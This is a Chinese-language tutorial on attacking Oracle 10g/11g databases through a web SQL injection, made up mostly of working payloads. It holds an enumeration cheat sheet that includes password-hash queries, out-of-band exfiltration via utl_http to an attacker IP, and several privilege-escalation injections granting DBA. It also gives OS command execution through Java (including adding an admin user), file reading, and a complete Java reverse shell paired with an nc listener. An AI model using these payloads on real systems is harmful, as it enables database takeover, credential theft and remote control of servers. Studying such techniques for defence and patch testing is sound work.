-- list version select banner from v$version where rownum = 1 ; -- oracle version
-- list user select user from dual ; -- current user select username from user_users ; -- current user select username from all_users ; -- all user , the current user can see ... select username from dba_users ; -- all user , need pris
-- list role select role from session_roles ; -- current role
-- list privs select privilege from user_sys_privs ; -- privs the current user has select privilege from role_sys_privs ; -- privs the current role has select privilege from session_privs ; -- the all privs that current user has = user_sys_privs + role_sys_privs select * from dba_sys_privs ; -- all user ' s privs , need privs
-- list password hash select name , password , astatus from sys . user$ ; -- password hash <= 10g , need privs select name , password , spare4 from sys . user$ ; -- password has 11g , need privs
-- list database select global_name from global_name ; -- current database select sys . database_name from dual ; -- current database select name from v$database ; -- current database name , need privs select instance_name from v$instance ; -- current database name , need privs
-- list schemas select distinct owner from all_tables ; -- all schema
-- list tables select table_name from all_tables where owner = 'xxx' ; -- all table name
-- list columns select owner , table_name , column_name from all_tab_columns where table_name = 'xxx' ; select owner , table_name , column_name from all_tab_cols where table_name = 'xxx' ;
0x0 前言
本文主要讨论如何通过一个sql inject 来最大限度的取得各种信息和权限,测试数据库分别为:Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 和Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 ,默认是 Oracle Database 10g Enterprise Edition Release 10.2.0.1.0
0x1 信息刺探
通常刷到一个sql inject 之后,一般步骤都是查找敏感信息,oracle自带了很多数据字典,可以很方便查找信息
一般思路就是检索schema->table->column ,然后就查询相关信息。这里介绍怎么样通过web来hack oracle,首先简单的描述一下在oracle 下如何高效的获取信息,下面这个是测试代码,本文通用代码
<? php
// error_reporting ( 0 ); // do not display error info
// include_once ( 'db.php' );
$dbuser = 'hellove' ;
$dbpass = 'hellove' ;
$db = '' ;
echo "<h3>Welcome to sql inject world!!! </h3>" ;
$conn = oci_connect ( $dbuser , $dbpass , $db );
// get some data from mynew ;
if ( empty ( $_GET [ 'id' ]))
$_GET [ 'id' ] = 1 ;
$stmt = oci_parse ( $conn , "select id,content from mynews where id = " . $_GET [ 'id' ]);
oci_execute ( $stmt );
oci_commit ( $conn );
$nrows = oci_fetch_all ( $stmt , $results );
if ( $nrows > 0 ) {
echo "<table border=\"1\">" ;
echo "<tr>" ;
foreach ( $results as $key => $val ) {
echo "<th>$key</th>" ;
}
echo "</tr>" ;
for ( $i = 0 ; $i & lt ; $nrows ; $i ++) {
echo "<tr><br />" ;
foreach ( $results as $data ) {
echo "<td>$data[$i]</td>" ;
}
echo "</tr>" ;
}
echo "</table>" ;
} else {
echo "No data found<br />" ;
}
echo "$nrows Records Selected<br />" ;
oci_free_statement ( $stmt );
oci_close ( $conn );
?>
假定上面的代码是http://www.hellove.net/hellove.php,变量id将会导致注入. 在这里很明显的可以用union来获取信息,不过我们还是介绍一点oracle独有的获取信息的方法吧
utl_http . request
local : nc . traditional - l - p 1234
web : http : //www.hellove.net/hellove.php?id=123 and 1=utl_http.request('http://10.1.100.1/'||(SQL in HERE))
utl_inaddr . get_host_name
error base
web : http : //www.hellove.net/hellove.php?id=123 and 1=utl_inaddr.get_host_name((SQL in HERE))
utl_inaddr . get_host_address
error base or dns
web : http : //www.hellove.net/hellove.php?id=123 and 1=utl_inaddr.get_host_address((SQL in HERE))
ctxsys . drithsx . sn
error base
web : http : //www.hellove.net/hellove.php?id=123 and 1=ctxsys.drithsx.sn(1,(SQL in HERE))
sys . dbms_ldap . init
dns
web : http : //www.hellove.net/hellove.php?id=123 and SYS.DBMS_LDAP.INIT(((SQL in HERE)||'hellove.net',80) is not null
utl_http.request,utl_inaddr.get_host_name,utl_inaddr.get_host_address 由于11g的安全特性无法继续使用,但是我们 可以在显错模式下利用ctxsys.drithsx.sn,或者自己搭建一个dnsserver,将一个域名的解析server指向该server,利用 sys.dbms_ldap.init 还可以在11g下正常工作
0x2 权限提升
在这里假设我们得到的这个注射点所在的用户的拥有的权限很小,仅有create session或者其他权限,也假设我们并没有足够走运 能够注射到pl/sql语句中,仅仅是一个普普通通的注射点,这个时候我们就要想想如何提权了,所以本小结的主题是如何让我们现在 的用户成为dba,let’s begin
DBMS_EXPORT_EXTENSION 现在我们来关注一下DBMS_EXPORT_EXTENSION这个包,这个包在06年7月之前存在3个危险函 数,get_domain_index_metadata, get_v2_domain_index_tables,get_domain_index_tables,这三个函数sys定义,默认都是 definer right ,oracle的初次 修复方案很友爱,前两个函数都修得差不多了,但是第三个在10g r2未打补丁的情况下,还存在着,让我们看一下这个函数的代码
FUNCTION GET_DOMAIN_INDEX_TABLES (
INDEX_NAME IN VARCHAR2 ,
INDEX_SCHEMA IN VARCHAR2 ,
TYPE_NAME IN VARCHAR2 ,
TYPE_SCHEMA IN VARCHAR2 ,
READ_ONLY IN PLS_INTEGER ,
VERSION IN VARCHAR2 ,
GET_TABLES IN PLS_INTEGER )
RETURN VARCHAR2 IS
CRS INTEGER := DBMS_SQL . OPEN_CURSOR ;
DUMMY INTEGER ;
RETVAL INTEGER ;
STMTSTRING VARCHAR2 ( 3901 );
COMPILE_ERROR EXCEPTION ;
PRAGMA EXCEPTION_INIT ( COMPILE_ERROR , - 6550 );
BEGIN
IF GET_TABLES = 1 THEN
GETTABLENAMES_CONTEXT := 0 ;
STMTSTRING :=
'DECLARE ' ||
'oindexinfo ODCIIndexInfo := ODCIIndexInfo(' ||
'''' || SYS . DBMS_ASSERT . SCHEMA_NAME ( INDEX_SCHEMA )|| ''',''' ||
SYS . DBMS_ASSERT . SIMPLE_SQL_NAME ( INDEX_NAME )|| ''', ' ||
'ODCIColInfoList(), NULL, 0, 0); ' ||
'BEGIN ' ||
':p1 := "' || SYS . DBMS_ASSERT . SCHEMA_NAME ( TYPE_SCHEMA ) || '"."' ||
SYS . DBMS_ASSERT . SIMPLE_SQL_NAME ( TYPE_NAME ) ||
'".ODCIIndexUtilGetTableNames(oindexinfo,:p2,:p3,:p4); ' ||
'END;' ;
DBMS_SQL . PARSE ( CRS , STMTSTRING , DBMS_SYS_SQL . V7 );
DBMS_SQL . BIND_VARIABLE ( CRS , ':p1' , STMTSTRING , 3901 );
DBMS_SQL . BIND_VARIABLE ( CRS , ':p2' , READ_ONLY );
DBMS_SQL . BIND_VARIABLE ( CRS , ':p3' , VERSION , 20 );
DBMS_SQL . BIND_VARIABLE ( CRS , ':p4' , GETTABLENAMES_CONTEXT );
DUMMY := DBMS_SQL . EXECUTE ( CRS );
DBMS_SQL . VARIABLE_VALUE ( CRS , ':p1' , STMTSTRING );
DBMS_SQL . VARIABLE_VALUE ( CRS , ':p4' , GETTABLENAMES_CONTEXT );
DBMS_SQL . CLOSE_CURSOR ( CRS );
ELSE
STMTSTRING :=
'BEGIN ' ||
'"' || TYPE_SCHEMA || '"."' || TYPE_NAME ||
'".ODCIIndexUtilCleanup(:p1); ' ||
'END;' ;
DBMS_SQL . PARSE ( CRS , STMTSTRING , DBMS_SYS_SQL . V7 );
DBMS_SQL . BIND_VARIABLE ( CRS , ':p1' , GETTABLENAMES_CONTEXT );
DUMMY := DBMS_SQL . EXECUTE ( CRS );
DBMS_SQL . CLOSE_CURSOR ( CRS );
STMTSTRING := '' ;
END IF ;
RETURN STMTSTRING ;
EXCEPTION
WHEN COMPILE_ERROR THEN
DECLARE
ERR_MSG VARCHAR2 ( 520 );
BEGIN
DBMS_SQL . CLOSE_CURSOR ( CRS );
ERR_MSG := SQLERRM (- 6550 );
IF INSTR ( ERR_MSG , 'PLS-00302' ) != 0 THEN
RETURN '' ;
ELSE
RAISE ;
END IF ;
END ;
WHEN OTHERS THEN
DBMS_SQL . CLOSE_CURSOR ( CRS );
RAISE ;
END GET_DOMAIN_INDEX_TABLES ;
我们可以看到当GET_TABLES=1时,这代码无懈可击,但是当GET_TABLES=0时,TYPE_SCHEMA和TYPE_NAME就是注入点啊!突然觉得oracle觉得好可爱,这里我们就拿get_domain_index_tables演示
web : http : //www.hellove.net/hellove.php?id=123 and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('INDX','SCH','DBMS_OUTPUT".PUT(:P1);execute immediate ''declare pragma autonomous_transaction; begin execute immediate ''''grant dba to hellove''''; end;''; END;--','SYS',1,'1',0)=0;
注射到第三参TYPE_NAME,熟悉pl/sql的都应该了解上面在干嘛:) 不过这个包的三个函数在06年7月之后就被修复了,也就是说 oracle 11g就不能再用了
dbms_xmlquery . newcontext 与 dbms_xmlquery . getxml
我本来是还要写hacking oracle with pl/sql的,不过被这两个函数直接灭掉我这想法,这两个函数使得之前我以为仅能在pl/sql环境下利用的 漏洞,在web下也能利用了
dbms_xmlquery . getxml () public role
dbms_xmlquery . newcontext () public role
sys . kupp$proc . create_mater_process () dba role
这三个函数都可以直接执行PL/SQL语句,定义为invoker right ,所以使得之前只能在pl/sql环境中使用的漏洞,现在在web环境中也可以使用了,这三个函数应该都不算是存在漏洞,只能说是特性而已,后期会经常使用,现在提及一下
DBMS_JVM_EXP_PERMS
DBMS_JVM_EXP_PERMS这个包比较好玩,纯粹是逻辑型的漏洞,所需的权限非常小,只要有create session就可以了,只可惜DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS不能在web环境中直接调用,作者给的poc能 使我们的用户直接得到Java权限
DECLARE
POL DBMS_JVM_EXP_PERMS . TEMP_JAVA_POLICY ;
CURSOR C1 IS SELECT 'GRANT' , USER (), 'SYS' , 'java.io.FilePermission' , '<<ALL FILES>>' , 'execute' , 'ENABLED' from dual ;
BEGIN
OPEN C1 ;
FETCH C1 BULK COLLECT INTO POL ;
CLOSE C1 ;
DBMS_JVM_EXP_PERMS . IMPORT_JVM_PERMS ( POL );
END ;
个人PL/SQL编程技术有限,尝试将上述poc用dbms_xmlquery.newcontext结合利用,不晓得为什么oracle老是提示 ORA-03113: end-of-file on communication channel ,只能创建个函数,然后在通过函数进行利用,唉,结果又必须多一个create procedure权限才能利用 作者这个很厉害的漏洞,下面是我的代码
web : http : //www.hellove.net/hellove.php?id=123 and dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;
begin execute immediate '' create or replace function myjava return number is PRAGMA AUTONOMOUS_TRANSACTION ;
begin execute immediate '''' DECLARE POL DBMS_JVM_EXP_PERMS . TEMP_JAVA_POLICY ; CURSOR C1 IS
SELECT '''''''' GRANT '''''''' , USER (), '''''''' SYS '''''''' , '''''''' java . io . FilePermission '''''''' ,
'''''''' & lt ;& lt ; ALL FILES & gt ;& gt ; '''''''' , '''''''' execute '''''''' , '''''''' ENABLED '''''''' from dual ; BEGIN OPEN C1 ;
FETCH C1 BULK COLLECT INTO POL ; CLOSE C1 ; DBMS_JVM_EXP_PERMS . IMPORT_JVM_PERMS ( POL ); END ; '''' ; commit ; return 1 ; end ; '' ;
commit ; end ; ') is not null
web : http : //www.hellove.net/hellove.php?id=123 and myjava()=1
由于The 11.2.0.1 April CPU patch fixes this,我的11g就没有测试成功,至于这个java.io的权限有什么用,后面再说, 反正先刷到一个权限再说
LT.FINDRICSET first to first,看一下这个漏洞过程的代码
PROCEDURE FINDRICSET ( TABLE_NAME VARCHAR2 , RESULT_TABLE VARCHAR2 DEFAULT '' )
IS
TABOWNER VARCHAR2 ( 100 );
TABNAME VARCHAR2 ( 100 );
RESOWNER VARCHAR2 ( 100 );
RESNAME VARCHAR2 ( 100 );
BEGIN
SYS . LT_CTX_PKG . SETUSER ;
TABOWNER := NVL ( SUBSTR ( UPPER ( TABLE_NAME ), 1 , INSTR ( TABLE_NAME , '.' )- 1 ), SYS_CONTEXT ( 'lt_ctx' , 'current_schema' ));
TABNAME := SUBSTR ( UPPER ( TABLE_NAME ), INSTR ( TABLE_NAME , '.' )+ 1 );
IF ( RESULT_TABLE IS NOT NULL ) THEN
RESOWNER := NVL ( SUBSTR ( UPPER ( RESULT_TABLE ), 1 , INSTR ( RESULT_TABLE , '.' )- 1 ), SYS_CONTEXT ( 'lt_ctx' , 'current_schema' ));
RESNAME := SUBSTR ( UPPER ( RESULT_TABLE ), INSTR ( RESULT_TABLE , '.' )+ 1 );
END IF ;
IF ( RESULT_TABLE IS NOT NULL AND
NOT HASOUTPUTTABPRIVS ( RESOWNER , RESNAME ) ) THEN
SYS . WM_ERROR . RAISEERROR ( SYS . LT . WM_ERROR_171_NO , 'insufficient privileges on the result table' );
END IF ;
SYS . LTRIC . FINDRICSET ( TABOWNER , TABNAME , RESOWNER , RESNAME );
END ;
粗略看一下似乎没什么问题,可是这个函数又调用了SYS.LTRIC.FINDRICSET,而SYS.LTRIC.FINDRICSET中存在注 入,但是SYS.LTRIC.FINDRICSET 是不能被public角色调用,LT.FINDRICSET可以被public 角色调用,所以归为LT.FINDRICSET漏洞,再让我们看一下SYS.LTRIC.FINDRICSET的代码
PROCEDURE FINDRICSET ( IN_TABLE_OWNER VARCHAR2 , IN_TABLE_NAME VARCHAR2 ,
RESULT_TABLE_OWNER VARCHAR2 , RESULT_TABLE VARCHAR2 )
.....省略
EXECUTE IMMEDIATE 'insert into wmsys.wm$ric_set_in values ( ''' || IN_TABLE_OWNER || ''',''' || IN_TABLE_NAME || ''' )' ;
我们看到了IN_TABLE_NAME 和 IN_TABLE_OWNER 可以注入,但是IN_TABLE_NAME与IN_TABLE_OWNER都是由LT.FINDRICSET中的参数TABLE_NAME 所产生,所以我们可以用LT.FINDRICSET的第一参来进行注入,尝试结合dbms_xmlquery.newcontext(这样就无需 create procedure),结果因为 字数限制而失败了,下面给出利用方法,需要有create procedure的权限
web : http : //www.hellove.net/hellove.php?id=123 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;
begin execute immediate '' create or replace function get_dba return varchar2 authid current_user is PRAGMA
autonomous_transaction ; BEGIN execute immediate '''' grant dba to hellove '''' ; commit ; return '''' z '''' ; END ; '' ; commit ; end ; ')
from dual ) is not null
web : http : //www.hellove.net/hellove.php?id=123 and (select dbms_xmlquery.newcontext('declare PRAGMA
AUTONOMOUS_TRANSACTION ; begin sys . lt . findricset ( '' A . A '''' || hellove . get_dba )-- '' , '' BBBB '' ); commit ; end ; ') from dual ) is not
null
上面两行代码是在web环境下使用的代码,pl/sql中更为简单,就不必演示了
MDSYS . SDO_DROP_USER_BEFORE
之前的DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES属于函数注 入,SYS.LTRIC.FINDRICSET属于过程注入,DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS逻辑问题 现在我们要介绍一个更为好玩的MDSYS.SDO_DROP_USER_BEFORE触发器,MDSYS模式下的 SDO_DROP_USER_BEFORE,TRIGGER是以definer rigth来执行的,虽然MDSYS没有多大的权限 但是先让我们能够在MDSYS下执行任意命令,先看MDSYS.SDO_DROP_USER_BEFORE的代码
trigger sdo_drop_user_before
before drop on DATABASE
declare
stmt varchar2 ( 200 );
rdf_exception EXCEPTION ; pragma exception_init ( rdf_exception , - 20000 );
BEGIN
if dictionary_obj_type = 'USER' THEN
BEGIN
EXECUTE IMMEDIATE
'begin ' ||
'mdsys.rdf_apis_internal.' ||
'notify_drop_user(''' ||
dictionary_obj_name || '''); ' ||
'end;' ;
EXCEPTION
WHEN rdf_exception THEN RAISE ;
WHEN OTHERS THEN NULL ;
END ;
end if ;
end ;
dictionary_obj_name处可以注入,我们可以尝
SQL > set serveroutput on
SQL > drop user "t');dbms_output.put_line('test" ;
test
drop user "t');dbms_output.put_line('test"
*
ERROR at line 1 :
ORA - 01918 : user 't' ); dbms_output . put_line ( 'test' does not exist
相当无语,不过还是因为字数限制,不能利用dbms_xmlquery.getxml来实现无需create procedure,必须创建个过程,但是由于所在模式为MDSYS 不是dba,我们不能利用MDSYS直接获取dba权限,但是MDSYS拥有create any trigger的权限,所以我们可以利用MDSYS在system下 创建一个trigger,trigger是authid current_user,所以我们要利用trigger来在system权限下执行命令,然后我们再触发这个trigger,就可以 在system下执行代码了,talk is cheap,show me the code,直接放代码吧
create or replace procedure g ( v varchar2 ) authid current_user is
PRAGMA AUTONOMOUS_TRANSACTION ;
stmt varchar2 ( 400 ) := 'create or replace trigger '
|| 'system.evil_trigger '
|| 'before insert on '
|| 'system.OL$ '
|| 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;'
|| 'BEGIN execute immediate ''grant dba to hellove'';END evil_trigger;' ;
begin
execute immediate stmt ;
commit ;
end ;
我们先创建一个过程g(名字要短),方便注射到MDSYS.SDO_DROP_USER_BEFORE中,然后将g的执行权限赋给public,在过程g中,我们创建 一个在system模式OL$的trigger,代码如上
drop user "g');hellove.g('" ;
insert into system . OL$ ( OL_NAME ) values ( 'test' );
set role dba
删除用户将触发触发器MDSYS.sdo_drop_user_before,注入代码以MDSYS模式下执行,而MDSYS可以create any trigger,所以我们利用MDSYS 创建system.OL$下的一个trigger,之所以是system.OL$,是因为public用户可以往里面插入数据而触发触发器,然后由于触发 器是以definer来 运行的,所以创建的system.evil_trigger就以sysem的权限下加用户了,以上代码还是可以结合 dbms_xmlquery.getxml来使用,请自行构造
简单分析了几个漏洞,由于oracle类似的漏洞太多了,不大可能一一分析,所以本小结到这就结束了
0x3 执行命令
下面的章节都假定我们已经获得了很高的权限,接下来我们的target就转移到了os,下面我们来讲一下如何在pl/sql中执行os命令
create or replace library exec_shell as '$ORACLE_HOME\bin\msvcrt.dll' ;
create or replace procedure execmd ( command in char ) is external name "system" library exec_shell language c ;
/
exec execmd ( 'net user > hellove.txt' );
直接照这上面的操作是必定会失败的,因为$ORACLE_HOME\bin\下压根就没msvcrt.dll,long long ago是可以用绝对地址”c:\windows\system32\msvcrt.dll”,或者用路径回溯”……\windows\system32 \msvcrt.dll”来执行command的,不过在oracle 10gr2已经不行了,所以测试这个 代码的时候我是直接把msvcrt.dll复制到$ORACLE_HOME\bin\下,面对这种情况,我们可以利用PL/SQL来复制 msvcrt.dll,或者用JAVA来执行命 令,我比较偏爱JAVA :)
create or replace and resolve java source named JAVACMD as
import java . lang .*;
import java . io .*;
public class JAVACMD
{
public static void execmd ( String command ) throws IOException
{
Runtime . getRuntime (). exec ( command );
}
}
create or replace procedure MYJAVACMD ( command in varchar ) as language java
name 'JAVACMD.execmd(java.lang.String)' ;
不过在执行这个MYJAVACMD之前必须将相应的JAVA权限赋予用户,之前提到的DBMS_JVM_EXP_PERMS就可以给用户赋予任意java权限,简单起见,我们直接赋予
exec dbms_java . grant_permission ( 'HELLOVE' , 'SYS:java.io.FilePermission' , '<<ALL FILES>>' , 'execute' );
exec MYJAVACMD ( 'net user' );
突然发现我的题目是hacking oracle with sql inject,不是with pl/sql...让我们简单结合dbms_xmlquery.newcontext来在web下使用
web : http : //www.hellove.net/hellove.php?id=123 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;
begin execute immediate '' create or replace and resolve java source named JAVACMD as import java . lang .*; import java . io .*; public
class JAVACMD { public static void execmd ( String command ) throws IOException { Runtime . getRuntime (). exec ( command );}} '' ; commit ;
end ; ') from dual ) is not null
web : http : //www.hellove.net/hellove.php?id=123 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;
begin execute immediate '' create or replace procedure MYJAVACMD ( command in varchar ) as language java name
'''' JAVACMD . execmd ( java . lang . String ) '''' ; '' ; commit ; end ; ') from dual ) is not null
web : http : //www.hellove.net/hellove.php?id=123 and (select dbms_xmlquery.newcontext('begin myjavacmd(''net user admin admin /add'')
; commit ; end ; ') from dual) is not null
由于用了dbms_xmlquery.newcontext之后,代码就惨不忍睹了,下面几篇就不结合dbms_xmlquery.newcontext来使用了,反正都懂的 :)
0x4 文件系统
下面我们将利用pl/sql来读取文件,其实获取dba权限之后,怎么样对系统进行操作完全就是个人pl/sql或java水平的体现
create or replace procedure read_file ( dirname varchar2 , fname varchar2 ) as
FD utl_file . file_type ;
buffer varchar2 ( 200 );
begin
execute immediate 'create or replace directory rw_file as ''' || dirname || '''' ;
FD := utl_file . fopen ( 'RW_FILE' , fname , 'r' );
dbms_output . enable ( 100000 );
loop
sys . utl_file . get_line ( FD , buffer );
dbms_output . put_line ( buffer );
end loop ;
execute immediate 'drop directory rw_file' ;
exception
when NO_DATA_FOUND then
dbms_output . put_line ( '---|---|---|file end!---|---|---|---|' );
when others then
dbms_output . put_line ( 'please check your file' );
end read_file ;
/
exec read_file ( 'c:\',' boot . ini ');
上面是PL/SQL代码来读取文件,下面是利用JAVA来读取文件内容
create or replace and compile java source named javareadfile as
import java . lang .*;
import java . io .*;
public class javareadfile
{
public static void readfile ( String filename ) throws IOException
{
FileReader f = new FileReader ( filename );
BufferedReader fr = new BufferedReader ( f );
String text = fr . readLine ();
while ( text != null )
{
System . out . println ( text );
text = fr . readLine ();
}
fr . close ();
}
}
create or replace procedure jreadfile ( filename in varchar )
as language java
name 'javareadfile.readfile(java.lang.String)' ;
exec jreadfile ( 'c:\boot.ini' );
我们还是可以利用之前的那个DBMS_JVM_EXP_PERMS获取java.io.FilePermission,可以简单读取文件
0x5 访问网络
在PL/SQL中我们可以利用oracle自带的那几个包(utl_tcp,utl_http…etc)来访问网络,自我感觉不怎么好用,比较喜欢用java, 下面我们来实现一个简易的java版本反向后门
create or replace and compile java source named javasocket as
import java . net .*;
import java . io .*;
import java . lang .*;
public class javasocket
{
public static void test ( String addr , String str_port )
{
Socket socket ;
String len ;
String s ;
InputStream Is ;
OutputStream Os ;
DataInputStream DIS ;
PrintStream PS ;
try {
socket = new Socket ( addr , Integer . parseInt ( str_port ));
Is = socket . getInputStream ();
Os = socket . getOutputStream ();
DIS = new DataInputStream ( Is );
PS = new PrintStream ( Os );
while ( true ){
s = DIS . readLine ();
if ( s . trim (). equals ( "BYE" )) break ;
try {
Runtime rt = Runtime . getRuntime ();
Process p = null ;
p = rt . exec ( s );
s = null ;
BufferedReader br = new BufferedReader ( new InputStreamReader ( p . getInputStream ()));
String msg = null ;
while (( msg = br . readLine ())!= null ){
msg += "\n" ;
s += msg ;
}
br . close ();
}
catch ( Exception e )
{
s = "Please check your command!" ;
}
PS . println ( s );
}
DIS . close ();
PS . close ();
Is . close ();
Os . close ();
socket . close ();
}
catch ( Exception e )
{
System . out . println ( "Error:" + e );
}
}
}
create or replace procedure myjavasocket ( address in varchar , port in varchar ) as language java
name 'javasocket.test(java.lang.String,java.lang.String)' ;
执行myjavasocket
exec myjavasocket ( '10.1.100.1' , '9999' );
local : nc - l - p 9999
这样就可以得到了一个交互的shell了,不过有些不是exe文件的比如dir就得输入cmd.exe /c dir 来运行